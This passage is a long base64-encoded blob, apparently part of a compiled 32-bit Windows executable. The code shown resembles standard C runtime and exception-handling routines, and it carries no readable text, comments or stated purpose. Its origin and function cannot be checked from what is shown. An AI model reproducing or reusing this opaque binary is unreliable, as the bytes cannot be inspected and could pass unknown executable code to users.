w9AADHRfz+////6AcAAADpggAAADP/OX0QdQ6DPVQJBRD/dAXoCUEAAMPraoP4AnVZ6MhAAABoFAIAAGoB6C0fAABZWYvwO/cPhAz///9W/zVUCQUQ/zU0JQUQ/xVo4gMQ/9CFwHQXV1boAUEAAFlZ/xWI4gMQiQaDTgT/6xhW6HbX//9Z6dD+//+D+AN1B1foUEMAAFkzwEDooEoAAMIMAGoMaFi+BBDoTEoAAIv5i/KLXQgzwECJReSF9nUMORXkIQUQD4TFAAAAg2X8ADvwdAWD/gJ1LqFI6AMQhcB0CFdWU//QiUXkg33kAA+ElgAAAFdWU+hD/v//iUXkhcAPhIMAAABXVlPo9N0AAIlF5IP+AXUkhcB1IFdQU+jg3QAAV2oAU+gT/v//oUjoAxCFwHQGV2oAU//QhfZ0BYP+A3UmV1ZT6PP9//+FwHUDIUXkg33kAHQRoUjoAxCFwHQIV1ZT/9CJReTHRfz+////i0Xk6x2LReyLCIsJUFHoX90AAFlZw4tl6MdF/P7///8zwOioSQAAw4v/VYvsg30MAXUF6GDdAAD/dQiLTRCLVQzo7P7//1ldwgwAi/9Vi+yLRQgzyTsEzUAFBRB0E0GD+S1y8Y1I7YP5EXcOag1YXcOLBM1EBQUQXcMFRP///2oOWTvIG8AjwYPACF3D6CJAAACFwHUGuKgGBRDDg8AIw+gPQAAAhcB1BrisBgUQw4PADMOL/1WL7Fbo4v///4tNCFGJCOiC////WYvw6Lz///+JMF5dw4v/VYvsg+xModAGBRAzxYlF/FMz21aLdQhXiV3UiV3kiV3giV3YiV3ciXW0iV24OV4UD4QZAwAAjUYEORh1IFAPt0YwaAQQAABQjUW0U1DoCd0AAIPEFIXAD4XKAgAAagTofxwAAGoCv4ABAABXiUXU6LQcAABqAVeJReToqRwAAGoBV4lF4OieHAAAagFoAQEAAIlF2OiPHAAAg8QkiUXcOV3UD4R/AgAAOV3kD4R2AgAAO8MPhG4CAAA5XeAPhGUCAAA5XdgPhFwCAACLRdSJGDPAi03ciAQIQD0AAQAAfPKNRehQ/3YE/xWQ4gMQhcAPhDICAACDfegFD4coAgAAD7dF6IlF0IP4AX4uOF3udCmNRe+KCDrLdCAPtnj/D7bJ6wuLTdzGBA8gD7YIRzv5fvGDwAI4WP912otF5FNT/3YEBQABAABQaAABAAD/ddyJRcBqAVPoHqYAAIPEIIXAD4TCAQAAi03gi0XcU/92BL//AAAAV4HBgQAAAFFXQFBoAAEAAP92FFPotx4AAIPEJIXAD4SPAQAAi0XYU/92BAWBAAAAV1CLRdxXQFBoAAIAAP92FFPoih4AAIPEJIXAD4RiAQAAi0Xki33gjYj+AAAAM9KDfdABZokRi1XYiU3EjY+AAAAAiF9/iFp/iBmJTbyNioAAAACJTciIGX5VOF3udFCNTe+JTeSKETrTdEQPtkn/D7bSiU3gO8p/KI2MSAABAADrA4tNzP9F4LoAgAAAZokRg8ECiU3Mi03kD7YJOU3gfuGLTeSDwQKJTeQ4Wf91tmj+AAAAjYgAAgAAUVDojQIAAGp/jYcAAQAAUFfofgIAAItF2Gp/jYgAAQAAUVDobAIAAIuGwAAAAIPEJDvDdEtQ/xVQ4gMQhcB1QIuGxAAAAC3+AAAAUOgE0///i4bMAAAAv4AAAAArx1Do8dL//4uG0AAAACvHUOjj0v///7bAAAAA6NjS//+DxBCLRdTHAAEAAACJhsAAAACLRcCJhsgAAACLRcSJhsQAAACLRbyJhswAAACLRciJhtAAAACLRdCJhqwAAAD/ddzokdL//1mLw+tv/3XU6ITS////deTofNL///914Oh00v///3XY6GzS//8z24PEEEPry4uGwAAAADvDdAdQ/xVQ4gMQiZ7AAAAAiZ7EAAAAx4bIAAAA0OkDEMeGzAAAAFjuAxDHhtAAAADY7wMQx4asAAAAAQAAADPAi038X14zzVvotMz//8nD6Ks8AACLyItBbDsFSAkFEHQQixX8BgUQhVFwdQXoZToAAIuArAAAAMOL/1WL7ItFCIXAdQZd6cX///+LAIuArAAAAF3D6GY8AACLyItBbDsFSAkFEHQQixX8BgUQhVFwdQXoIDoAAItABMPoQDwAAIvIi0FsOwVICQUQdBCLFfwGBRCFUXB1Bej6OQAAg8AMw/81KC4FEP8VaOIDEIXAdAL/0GoZ6JFKAABqAWoA6AowAACDxAzpzy8AAMzMi0wkBPfBAwAAAHQkigGDwQGEwHRO98EDAAAAde8FAAAAAI2kJAAAAACNpCQAAAAAiwG6//7+fgPQg/D/M8KDwQSpAAEBgXToi0H8hMB0MoTkdCSpAAD/AHQTqQAAAP90AuvNjUH/i0wkBCvBw41B/otMJAQrwcONQf2LTCQEK8HDjUH8i0wkBCvBw8zMzMzMVYvsV1aLdQyLTRCLfQiLwYvRA8Y7/nYIO/gPgqABAACB+YAAAAByHIM9NDIFEAB0E1dWg+cPg+YPO/5eX3UF6fE0AAD3xwMAAAB1FMHpAoPiA4P5CHIp86X/JJVggQIQi8e6AwAAAIPpBHIMg+ADA8j/JIV0gAIQ/ySNcIECEJD/JI30gAIQkISAAhCwgAIQ1IACECPRigaIB4pGAYhHAYpGAsHpAohHAoPGA4PHA4P5CHLM86X/JJVggQIQjUkAI9GKBogHikYBwekCiEcBg8YCg8cCg/kIcqbzpf8klWCBAhCQI9GKBogHg8YBwekCg8cBg/kIcojzpf8klWCBAhCNSQBXgQIQRIECEDyBAhA0gQIQLIECECSBAhAcgQIQFIECEItEjuSJRI/ki0SO6IlEj+iLRI7siUSP7ItEjvCJRI/wi0SO9IlEj/SLRI74iUSP+ItEjvyJRI/8jQSNAAAAAAPwA/j/JJVggQIQi/9wgQIQeIECEISBAhCYgQIQi0UIXl/Jw5CKBogHi0UIXl/Jw5CKBogHikYBiEcBi0UIXl/Jw41JAIoGiAeKRgGIRwGKRgKIRwKLRQheX8nDkI10MfyNfDn898cDAAAAdSTB6QKD4gOD+QhyDf3zpfz/JJX8ggIQi//32f8kjayCAhCNSQCLx7oDAAAAg/kEcgyD4AMryP8khQCCAhD/JI38ggIQkBCCAhA0ggIQXIICEIpGAyPRiEcDg+4BwekCg+8Bg/kIcrL986X8/ySV/IICEI1JAIpGAyPRiEcDikYCwekCiEcCg+4Cg+8Cg/kIcoj986X8/ySV/IICEJCKRgMj0YhHA4pGAohHAopGAcHpAohHAYPuA4PvA4P5CA+CVv////3zpfz/JJX8ggIQjUkAsIICELiCAhDAggIQyIICENCCAhDYggIQ4IICEPOCAhCLRI4ciUSPHItEjhiJRI8Yi0SOFIlEjxSLRI4QiUSPEItEjgyJRI8Mi0SOCIlEjwiLRI4EiUSPBI0EjQAAAAAD8AP4/ySV/IICEIv/DIMCEBSDAhAkgwIQOIMCEItFCF5fycOQikYDiEcDi0UIXl/Jw41JAIpGA4hHA4pGAohHAotFCF5fycOQikYDiEcDikYCiEcCikYBiEcBi0UIXl/Jw4v/VYvsg+wgi0UIVldqCFm+TOgDEI194POliUX4i0UMX4lF/F6FwHQM9gAIdAfHRfQAQJkBjUX0UP918P915P914P8VlOIDEMnCCACL/1WL7FFTi0UMg8AMiUX8ZIsdAAAAAIsDZKMAAAAAi0UIi10Mi238i2P8/+BbycIIAFhZhwQk/+CL/1WL7FFRU1ZXZIs1AAAAAIl1/MdF+AGEAhBqAP91DP91+P91COjTQgEAi0UMi0AEg+D9i00MiUEEZIs9AAAAAItd/Ik7ZIkdAAAAAF9eW8nCCABVi+yD7AhTVlf8iUX8M8BQUFD/dfz/dRT/dRD/dQz/dQjojRAAAIPEIIlF+F9eW4tF+IvlXcOL/1WL7Fb8i3UMi04IM87o4cb//2oAVv92FP92DGoA/3UQ/3YQ/3UI6FAQAACDxCBeXcOL/1WL7IPsOFOBfQgjAQAAdRK4PoUCEItNDIkBM8BA6bAAAACDZdgAx0XcaoUCEKHQBgUQjU3YM8GJReCLRRiJReSLRQyJReiLRRyJReyLRSCJRfCDZfQAg2X4AINl/ACJZfSJbfhkoQAAAACJRdiNRdhkowAAAADHRcgBAAAAi0UIiUXMi0UQiUXQ6DA2AACLgIAAAACJRdSNRcxQi0UI/zD/VdRZWYNlyACDffwAdBdkix0AAAAAiwOLXdiJA2SJHQAAAADrCYtF2GSjAAAAAItFyFvJw4v/VYvsUVP8i0UMi0gIM00M6NXF//+LRQiLQASD4GZ0EYtFDMdAJAEAAAAzwEDrbOtqagGLRQz/cBiLRQz/cBSLRQz/cAxqAP91EItFDP9wEP91COgaDwAAg8Qgi0UMg3gkAHUL/3UI/3UM6Pz9//9qAGoAagBqAGoAjUX8UGgjAQAA6KH+//+DxByLRfyLXQyLYxyLayD/4DPAQFvJw4v/VYvsUVNWV4t9CItHEIt3DIlF/Ive6yuD/v91Beg01AAAi00QTovGa8AUA0X8OUgEfQU7SAh+BYP+/3UJ/00Mi10IiXUIg30MAH3Mi0UURokwi0UYiRg7Xwx3BDvzdgXo8dMAAIvGa8AUA0X8X15bycOL/1WL7ItFDFaLdQiJBujENAAAi4CYAAAAiUYE6LY0AACJsJgAAACLxl5dw4v/VYvs6KE0AACLgJgAAADrCosIO00IdAqLQASFwHXyQF3DM8Bdw4v/VYvsVuh5NAAAi3UIO7CYAAAAdRHoaTQAAItOBImImAAAAF5dw+hYNAAAi4CYAAAA6wmLSAQ78XQPi8GDeAQAdfFeXelH0wAAi04EiUgE69KL/1WL7IPsGKHQBgUQg2XoAI1N6DPBi00IiUXwi0UMiUX0i0UUQMdF7GCEAhCJTfiJRfxkoQAAAACJReiNRehkowAAAAD/dRhR/3UQ6D7TAACLyItF6GSjAAAAAIvBycNQZP81AAAAAI1EJAwrZCQMU1ZXiSiL6KHQBgUQM8VQ/3X8x0X8/////41F9GSjAAAAAMNQZP81AAAAAI1EJAwrZCQMU1ZXiSiL6KHQBgUQM8VQiWXw/3X8x0X8/////41F9GSjAAAAAMNQZP81AAAAAI1EJAwrZCQMU1ZXiSiL6KHQBgUQM8VQiUXw/3X8x0X8/////41F9GSjAAAAAMOLTfRkiQ0AAAAAWV9fXluL5V1Rw4tN8DPN6BfD///p3f///4v/VYvsVot1CIX2eAnop9IAADswfAfontIAAIsw6J3SAACLBLBeXcOL/1WL7FNW6GMyAACL8DPbO/N1B7hw6AMQ6yJXv4YAAAA5XiR1G2oBV+iNDwAAWVmJRiQ7w3UKuHDoAxBfXltdw/91CIt2JOiM////UFdW6GIpAACDxBCFwHUEi8br3VNTU1NT6OsoAADMxwG46AMQ6dnD//+L/1WL7FaL8ccGuOgDEOjGw///9kUIAXQHVujPyP//WYvGXl3CBACL/1WL7FZXi30Ii0cEhcB0R41QCIA6AHQ/i3UMi04EO8F0FIPBCFFS6Mw1AABZWYXAdAQzwOsk9gYCdAX2Bwh08otFEIsAqAF0BfYHAXTkqAJ0BfYHAnTbM8BAX15dw4v/VYvsi0UIiwCLAD1SQ0PgdB89TU9D4HQYPWNzbeB1KujHMQAAg6CQAAAAAOl80AAA6LYxAACDuJAAAAAAfgvoqDEAAP+IkAAAADPAXcNqEGh4vgQQ6O85AACLfRCLXQiBfwSAAAAAfwYPvnMI6wOLcwiJdeTocjEAAP+AkAAAAINl/AA7dRR0YoP+/34FO3cEfAXoYdAAAIvGi08IizTBiXXgx0X8AQAAAIN8wQQAdBWJcwhoAwEAAFOLTwj/dMEE6IPQAACDZfwA6xr/dezoK////1nDi2Xog2X8AIt9EItdCIt14Il15OuZx0X8/v///+gZAAAAO3UUdAXo+M8AAIlzCOiFOQAAw4tdCIt15OjXMAAAg7iQAAAAAH4L6MkwAAD/iJAAAADDiwCBOGNzbeB1OIN4EAN1MotIFIH5IAWTGXQQgfkhBZMZdAiB+SIFkxl1F4N4HAB1EeiMMAAAM8lBiYgMAgAAi8HDM8DDaghooL4EEOjOOAAAi00Ihcl0KoE5Y3Nt4HUii0EchcB0G4tABIXAdBSDZfwAUP9xGOjD+P//x0X8/v///+jdOAAAwzPAOEUMD5XAw4tl6OjqzgAAzIv/VYvsi00MiwFWi3UIA8aDeQQAfBCLUQSLSQiLNDKLDA4DygPBXl3D6PovAAAzyTmIkAAAAA+VwMOL/1WL7IPsDIX/dQro6s4AAOiZzgAAg2X4AIM/AMZF/wB+U1NWi0UIi0Aci0AMixiNcASF234zi0X4weAEiUX0i00I/3EciwZQi0cEA0X0UOhN/f//g8QMhcB1CkuDxgSF23/c6wTGRf8B/0X4i0X4Owd8sV5bikX/ycNqBLhCyAMQ6Mj7///oYi8AAIO4lAAAAAB0BehhzgAAg2X8AOhFzgAAg038/+gDzgAA6D0vAACLTQhqAGoAiYiUAAAA6Cn3///MaixoGL8EEOh7NwAAi9mLfQyLdQiJXeSDZcwAi0f8iUXc/3YYjUXEUOgm+v//WVmJRdjo8y4AAIuAiAAAAIlF1OjlLgAAi4CMAAAAiUXQ6NcuAACJsIgAAADozC4AAItNEImIjAAAAINl/AAzwECJRRCJRfz/dRz/dRhT/3UUV+h0+v//g8QUiUXkg2X8AOtvi0Xs6ND9///Di2Xo6IkuAACDoAwCAAAAi3UUi30MgX4EgAAAAH8GD75PCOsDi08Ii14Qg2XgAItF4DtGDHMYa8AUi1QYBDvKfkE7TBgIfzuLRgiLTNAIUVZqAFfom/z//4PEEINl5ACDZfwAi3UIx0X8/v///8dFEAAAAADoFAAAAItF5OiyNgAAw/9F4Ouni30Mi3UIi0XciUf8/3XY6HL5//9Z6PAtAACLTdSJiIgAAADo4i0AAItN0ImIjAAAAIE+Y3Nt4HVCg34QA3U8i0YUPSAFkxl0Dj0hBZMZdAc9IgWTGXUkg33MAHUeg33kAHQY/3YY6PT4//9ZhcB0C/91EFboFP3//1lZw2oMaEC/BBDo3zUAADPSiVXki0UQi0gEO8oPhFgBAAA4UQgPhE8BAACLSAg7ynUM9wAAAACAD4Q8AQAAiwCLdQyFwHgEjXQxDIlV/DPbQ1OoCHRBi30I/3cY6OXMAABZWYXAD4TyAAAAU1bo1MwAAFlZhcAPhOEAAACLRxiJBotNFIPBCFFQ6Nv8//9ZWYkG6csAAACLfRSLRQj/cBiEH3RI6J3MAABZWYXAD4SqAAAAU1bojMwAAFlZhcAPhJkAAAD/dxSLRQj/cBhW6Lu+//+DxAyDfxQED4WCAAAAiwaFwHR8g8cIV+ucOVcYdTjoUMwAAFlZhcB0YVNW6EPMAABZWYXAdFT/dxSDxwhXi0UI/3AY6E78//9ZWVBW6Gq+//+DxAzrOegYzAAAWVmFwHQpU1boC8wAAFlZhcB0HP93GOj9ywAAWYXAdA/2BwRqAFgPlcBAiUXk6wXoPMsAAMdF/P7///+LReTrDjPAQMOLZejo2MoAADPA6LI0AADDaghoYL8EEOhgNAAAi0UQ9wAAAACAdAWLXQzrCotICItVDI1cEQyDZfwAi3UUVlD/dQyLfQhX6Eb+//+DxBBIdB9IdTRqAY1GCFD/dxjolfv//1lZUP92GFPoLfT//+sYjUYIUP93GOh7+///WVlQ/3YYU+gT9P//x0X8/v///+gtNAAAwzPAQMOLZejoP8oAAMyL/1WL7IN9GAB0EP91GFNW/3UI6Fb///+DxBCDfSAA/3UIdQNW6wP/dSDo0fP///83/3UU/3UQVuii+f//i0cEaAABAAD/dRxA/3UUiUYI/3UMi0sMVv91COj1+///g8QohcB0B1ZQ6Fvz//9dw4v/VYvsg+wMVot1CIE+AwAAgA+E7AAAAFfo8SoAAIO4gAAAAAB0R+jjKgAAjbiAAAAA6CgpAAA5B3QziwY9TU9D4HQqPVJDQ+B0I/91JP91IP91GP91FP91EP91DFbo7PP//4PEHIXAD4WVAAAAi30Yg38MAHUF6KDJAACLdRyNRfRQjUX8UFb/dSBX6DT1//+LTfyDxBQ7TfRzZ4PADIlF+FONePQ7N3xHO3D4f0KLCMHhBANIBItR9IXSdAaAeggAdS2NWfD2A0B1Jf91JIt1DP91IGoA/3UY/3UU/3UQ/3UI6Kr+//+LdRyLRfiDxBz/RfyLTfyDwBSJRfg7TfRyoVtfXsnDi/9Vi+yD7DSLTQxTi10Yi0MEVlfGRf8APYAAAAB/Bg++SQjrA4tJCIlN+IP5/3wEO8h8BejcyAAAi3UIv2NzbeA5Pg+F6AIAAIN+EAO7IAWTGQ+FKQEAAItGFDvDdBI9IQWTGXQLPSIFkxkPhRABAACDfhwAD4UGAQAA6IgpAACDuIgAAAAAD4TjAgAA6HYpAACLsIgAAACJdQjoaCkAAIuAjAAAAGoBVolFEOgMyQAAWVmFwHUF6FnIAAA5PnUmg34QA3Ugi0YUO8N0Dj0hBZMZdAc9IgWTGXULg34cAHUF6C/IAADoHSkAAIO4lAAAAAAPhIkAAADoCykAAIu4lAAAAOgAKQAA/3UIM/aJsJQAAADoAvn//1mEwHVcM9s5H34di0cEi0wDBGiwBgUQ6Ni///+EwHUNRoPDEDs3fOPohMcAAGoB/3UI6Dz4//9ZWY1FCFCNTczHRQjA6AMQ6JC5//9ofL8EEI1FzFDHRcy46AMQ6I3w//+LdQi/Y3Nt4Dk+D4WlAQAAg34QAw+FmwEAAItGFDvDdBI9IQWTGXQLPSIFkxkPhYIBAACLfRiDfwwAD4bcAAAAjUXgUI1F8FD/dfj/dSBX6PHy//+LTfCDxBQ7TeAPg7kAAACNeBCJfeSLTfiNR/CJRdg5CA+PigAAADtP9A+PgQAAAIsHiUX0i0f8iUXohcB+cotGHItADI1YBIsAiUXshcB+I/92HIsDUP919IlF3OiO9f//g8QMhcB1Gv9N7IPDBDlF7H/d/03og0X0EIN96AB/vusu/3Uki33Y/3Ugi130/3XcxkX/Af91GP91FP91EFaLdQzoF/z//4t1CIt95IPEHP9F8ItF8IPHFIl95DtF4A+CUP///4t9GIB9HAB0CmoBVujo9v//WVmAff8AD4WuAAAAiwcl////Hz0hBZMZD4KcAAAAi38chf8PhJEAAABW6Ej3//9ZhMAPhYIAAADoKCcAAOgjJwAA6B4nAACJsIgAAADoEycAAIN9JACLTRCJiIwAAABWdQX/dQzrA/91JOh57///i3UYav9W/3UU/3UM6Ef1//+DxBD/dhzoZ/f//4tdGIN7DAB2JoB9HAAPhf/9////dST/dSD/dfhT/3UU/3UQ/3UMVuif+///g8Qg6KYmAACDuJQAAAAAdAXopcUAAF9eW8nDi/9Vi+xW/3UIi/HoG7j//8cGuOgDEIvGXl3CBACL/1WL7FNWV+hpJgAAg7gMAgAAAItFGItNCL9jc23gvv///x+7IgWTGXUgixE713QagfomAACAdBKLECPWO9NyCvZAIAEPhZMAAAD2QQRmdCODeAQAD4SDAAAAg30cAHV9av9Q/3UU/3UM6Gn0//+DxBDraoN4DAB1EosQI9aB+iEFkxlyWIN4HAB0Ujk5dTKDeRADciw5WRR2J4tRHItSCIXSdB0PtnUkVv91IP91HFD/dRT/dRD/dQxR/9KDxCDrH/91IP91HP91JFD/dRT/dRD/dQxR6JP7//+DxCAzwEBfXltdw4v/VYvsi0UUhcB+C1D/dRDoQsUAAFlZ/3Uc/3UYUP91EP91DP91CP8VnOIDEF3Di/9Vi+xTVovxM9s783UW6K3k//9qFl6JMOgBHAAAi8bpjwAAAFc5XQh3E+iR5P//ahZeiTDo5RsAAIvG63UzyTldEIgeD5XBQTlNCHcJ6G7k//9qIuvbi00Mg8H+g/kid8mLzjldEHQLM9tDxgYtjU4B99iL+TPS93UMg/oJdgWAwlfrA4DCMIgRQUOFwHQFO10IcuE7XQhyBcYGAOuvxgEASYoXigGIEUmIB0c7+XLyM8BfXltdwgwAi/9Vi+yDfRQKi0UIdQqFwHkGagFqCusFagD/dRT/dRCLTQzoHv///13Di/9Vi+yD7AwzyVY7+XUW6Mnj//9qFl6JMOgdGwAAi8bpwgAAADlNEHblM8A5TRiIDw+VwEA5RRB3Ceie4///aiLr04tFFIPA/oP4InfBi0UMU4tdCIlN/Iv3OU0YdBP32xPBxgctjXcBx0X8AQAAAPfYiXUYiU0M/3UM/3UUUFPo5cMAAIld+IvYi8KD+Ql2BYDBV+sDgMEwiA6LTfxGQYlN/IXAdQSF23QIO00QcsiLTfxbO00QchTGBwDoHOP//2oiWYkIi/HpTP///8YGAE6LRRiKEIoOiBZOiAhAiUUYO8Zy7DPAXsnCFACL/1WL7FeLfRBqAP91GP91FP91DP91COj4/v//X13Di/9Vi+xWVzP2/3UI6CG8//+L+FmF/3UnOQX4IQUQdh9W/xU04gMQjYboAwAAOwX4IQUQdgODyP+L8IP4/3XKi8dfXl3Di/9Vi+xWVzP2agD/dQz/dQjomcMAAIv4g8QMhf91JzkF+CEFEHYfVv8VNOIDEI2G6AMAADsF+CEFEHYDg8j/i/CD+P91w4vHX15dw4v/VYvsVlcz9v91DP91COhA3P//i/hZWYX/dSw5RQx0JzkF+CEFEHYfVv8VNOIDEI2G6AMAADsF+CEFEHYDg8j/i/CD+P91wYvHX15dw4v/VYvsVlcz9v91EP91DP91COiAwwAAi/iDxAyF/3UsOUUQdCc5BfghBRB2H1b/FTTiAxCNhugDAAA7BfghBRB2A4PI/4vwg/j/db2Lx19eXcPoPCIAAIvIi0FsOwVICQUQdBCLFfwGBRCFUXB1Bej2HwAAi4DIAAAAw4v/VYvsi0UIhcB0EoPoCIE43d0AAHUHUOhZt///WV3Di/9Vi+yD7BCh0AYFEDPFiUX8i1UYUzPbVlc7034fi0UUi8pJOBh0CEA7y3X2g8n/i8IrwUg7wn0BQIlFGIld+DldJHULi0UIiwCLQASJRSSLNVziAxAzwDldKFNT/3UYD5XA/3UUjQTFAQAAAFD/dST/1ov4iX3wO/t1BzPA6VIBAAB+Q2rgM9JY9/eD+AJyN41EPwg9AAQAAHcT6NTCAACLxDvDdBzHAMzMAADrEVDoA7r//1k7w3QJxwDd3QAAg8AIiUX06wOJXfQ5XfR0rFf/dfT/dRj/dRRqAf91JP/WhcAPhOAAAACLNZziAxBTU1f/dfT/dRD/dQz/1olF+DvDD4TBAAAAuQAEAACFTRB0KYtFIDvDD4SsAAAAOUX4D4+jAAAAUP91HFf/dfT/dRD/dQz/1umOAAAAi334O/t+QmrgM9JY9/eD+AJyNo1EPwg7wXcW6BrCAACL/Dv7dGjHB8zMAACDxwjrGlDoRrn//1k7w3QJxwDd3QAAg8AIi/jrAjP/O/t0P/91+Ff/dfD/dfT/dRD/dQz/1oXAdCJTUzldIHUEU1PrBv91IP91HP91+FdT/3Uk/xVI4gMQiUX4V+gY/v//Wf919OgP/v//i0X4WY1l5F9eW4tN/DPN6BWw///Jw4v/VYvsg+wQ/3UIjU3w6MvA////dSiNRfD/dST/dSD/dRz/dRj/dRT/dRD/dQxQ6OX9//+DxCSAffwAdAeLTfiDYXD9ycOL/1WL7IPsEP91DI1N8OiFwP//i0Xwg7isAAAAAX4TjUXwUGoB/3UI6EfBAACDxAzrEIuAyAAAAItNCA+3BEiD4AGAffwAdAeLTfiDYXD9ycOL/1WL7IM94CEFEAB1EotFCIsNOAkFEA+3BEGD4AFdw2oA/3UI6IX///9ZWV3Di/9Vi+yD7BD/dQyNTfDoBsD//4tF8IO4rAAAAAF+E41F8FBqAv91COjIwAAAg8QM6xCLgMgAAACLTQgPtwRIg+ACgH38AHQHi034g2Fw/cnDi/9Vi+yDPeAhBRAAdRKLRQiLDTgJBRAPtwRBg+ACXcNqAP91COiF////WVldw4v/VYvsg+wQ/3UMjU3w6Ie///+LRfCDuKwAAAABfhONRfBQagT/dQjoScAAAIPEDOsQi4DIAAAAi00ID7cESIPgBIB9/AB0B4tN+INhcP3Jw4v/VYvsgz3gIQUQAHUSi0UIiw04CQUQD7cEQYPgBF3DagD/dQjohf///1lZXcOL/1WL7IPsEP91DI1N8OgIv///i0Xwg7isAAAAAX4WjUXwUGiAAAAA/3UI6Me/AACDxAzrEouAyAAAAItNCA+3BEglgAAAAIB9/AB0B4tN+INhcP3Jw4v/VYvsgz3gIQUQAHUUi0UIiw04CQUQD7cEQSWAAAAAXcNqAP91COh+////WVldw4v/VYvsg+wQ/3UMjU3w6IK+//+LRfCDuKwAAAABfhONRfBQagj/dQjoRL8AAIPEDOsQi4DIAAAAi00ID7cESIPgCIB9/AB0B4tN+INhcP3Jw4v/VYvsgz3gIQUQAHUSi0UIiw04CQUQD7cEQYPgCF3DagD/dQjohf///1lZXcO4XmgDEKPgEgUQxwXkEgUQVF8DEMcF6BIFEAhfAxDHBewSBRBBXwMQxwXwEgUQql4DEKP0EgUQxwX4EgUQ1mcDEMcF/BIFEMZeAxDHBQATBRAoXgMQxwUEEwUQtF0DEMOL/1WL7OiW////g30IAHQF6CXKAADb4l3Di/9Vi+yD7BhTVv91DI1N6OiIvf//i10IvgABAAA73nNUi03og7msAAAAAX4UjUXoUGoBU+hAvgAAi03og8QM6w2LgcgAAAAPtwRYg+ABhcB0D4uBzAAAAA+2BBjpowAAAIB99AB0B4tF8INgcP2Lw+mcAAAAi0Xog7isAAAAAX4xiV0IwX0ICI1F6FCLRQgl/wAAAFDor8kAAFlZhcB0EopFCGoCiEX8iF39xkX+AFnrFeh52///xwAqAAAAM8mIXfzGRf0AQYtF6GoB/3AEjVX4agNSUY1N/FFW/3AUjUXoUOjY+///g8QkhcAPhG////+D+AEPtkX4dAkPtk35weAIC8GAffQAdAeLTfCDYXD9XlvJw4v/VYvsgz3gIQUQAHUQi0UIjUi/g/kZdxGDwCBdw2oA/3UI6MP+//9ZWV3DzMzMzMzMzMzMzMzMU1aLRCQYC8B1GItMJBSLRCQQM9L38YvYi0QkDPfxi9PrQYvIi1wkFItUJBCLRCQM0enR29Hq0dgLyXX09/OL8PdkJBiLyItEJBT35gPRcg47VCQQdwhyBztEJAx2AU4z0ovGXlvCEADMzMzMzMzMzItEJAiLTCQQC8iLTCQMdQmLRCQE9+HCEABT9+GL2ItEJAj3ZCQUA9iLRCQI9+ED01vCEACL/1WL7IPsNKHQBgUQM8WJRfxTi10IVlf/dRCLfQyNTcyL8+iEu///hf90Aokfhdt1I+gI2v//xwAWAAAA6FsRAAA4Xdh0B4tF1INgcP3Z7um/AAAAi0XMg7isAAAAAX4UjUXMUA+2BmoIUOgYvAAAg8QM6xAPtg6LgMgAAAAPtwRIg+AIhcB0A0bryY1FzFCNReRWUOgSyAAAg8QMi8iF/3QHi0EEA8aJB4sBqUACAAB0Ddnu3V3chf90SIkf60SogXQPgD4t3QUQEwUQdR3Z4OsZqQABAAB0JN1BENnu2cDd6t/g3dn2xER6EN1d3OhL2f//xwAiAAAA6wjd2N1BEN1d3IB92AB0B4tF1INgcP3dRdyLTfxfXjPNW+jAqf//ycOL/1WL7GoA/3UM/3UI6Mv+//+DxAxdw8zMi1QkDItMJASF0nRpM8CKRCQIhMB1FoH6gAAAAHIOgz00MgUQAHQF6evHAABXi/mD+gRyMffZg+EDdAwr0YgHg8cBg+kBdfaLyMHgCAPBi8jB4BADwYvKg+IDwekCdAbzq4XSdAqIB4PHAYPqAXX2i0QkCF/Di0QkBMOL/1WL7FFTVot1CPZGDEBXu2AKBRAPhXIBAABW6KHB//9Zg/j/dC5W6JXB//9Zg/j+dCJW6InB///B+AVWjTyFIDEFEOh5wf//g+AfWcHgBgMHWesCi8P2QCR/dE//TgR4CosOD7YBQYkO6wdW6CopAABZg/j/dQq4//8AAOkkAQAA/04EiEUIeAqLDg+2AUGJDusHVugCKQAAWYP4/3TYiEUJZotFCOn6AAAA9kYMQA+F1wAAAFboBsH//1mD+P90Llbo+sD//1mD+P50Ilbo7sD//8H4BVaNPIUgMQUQ6N7A//+D4B9ZweAGAwdZ6wKLw/ZABIAPhJEAAAAz/0f/TgR4CosOD7YBQYkO6wdW6IgoAABZg/j/D4Ra////iEX8D7bAUOiwxQAAWYXAdDT/TgR4CosOD7YBQYkO6wdW6FgoAABZg/j/dRMPvkX8VlDooAgAAFm4//8AAOtIagKIRf1fV41F/FCNRQhQ6CzJAACDxAyD+P8PhSb////oB9f//8cAKgAAAOnr/v//g0YE/ngMiw4PtwGDwQKJDusHVuiyxgAAWV9eW8nDagxouL8EEOjPHwAAM8A5RQgPlcCFwHUX6MHW///HABYAAADoFA4AALj//wAA6yz/dQjoAr///1mDZfwA/3UI6BH+//9ZD7fAiUXkx0X8/v///+gKAAAAZotF5OjAHwAAw/91COhDv///WcOL/1WL7IPsEKHQBgUQM8WJRfxTVot1DPZGDEBXD4U2AQAAVuiEv///WbtgCgUQg/j/dC5W6HO///9Zg/j+dCJW6Ge////B+AVWjTyFIDEFEOhXv///g+AfWcHgBgMHWesCi8OKQCQkfzwCD4ToAAAAVug2v///WYP4/3QuVugqv///WYP4/nQiVugev///wfgFVo08hSAxBRDoDr///4PgH1nB4AYDB1nrAovDikAkJH88AQ+EnwAAAFbo7b7//1mD+P90Llbo4b7//1mD+P50Ilbo1b7//8H4BVaNPIUgMQUQ6MW+//+D4B9ZweAGAwdZ6wKLw/ZABIB0Xf91CI1F9GoFUI1F8FDoXcoAAIPEEIXAdAe4//8AAOtdM/85ffB+MP9OBHgSiwaKTD30iAiLDg+2AUGJDusOD75EPfRWUOj7DAAAWVmD+P90yEc7ffB80GaLRQjrIINGBP54DYsOi0UIZokBgwYC6w0Pt0UIVlDoK8cAAFlZi038X14zzVvokKX//8nDagxo2L8EEOjdHQAAM8CLdQyF9g+VwIXAdRfozdT//8cAFgAAAOggDAAAuP//AADrL4l1DFboDb3//1mDZfwAVv91COgx/v//WVkPt8CJReTHRfz+////6AoAAABmi0Xk6MkdAADD/3UM6Ey9//9Zw4v/VYvsg+wQodAGBRAzxYlF/FOLXQhWi3UMV7///wAAi8dmO9gPhGYBAACLRgyoAXUQhMAPiVcBAACoAg+FTwEAAIN+CAB1B1boQskAAFn2RgxAD4ULAQAAVuhWvf//WbtgCgUQg/j/dDNW6EW9//9Zg/j+dCdW6Dm9///B+AVWjTyFIDEFEOgpvf//g+AfweAGAwdZWb///wAA6wKLw/ZABIAPhLgAAABW6Aa9//9Zg/j/dDNW6Pq8//9Zg/j+dCdW6O68///B+AVWjTyFIDEFEOjevP//g+AfweAGAwdZWb///wAA6wKLw/ZAJH90EYtVCGoCWIhV9Ih19YlF8Osf/3UIjUX0agVQjUXwUOhgyAAAg8QQhcB1d4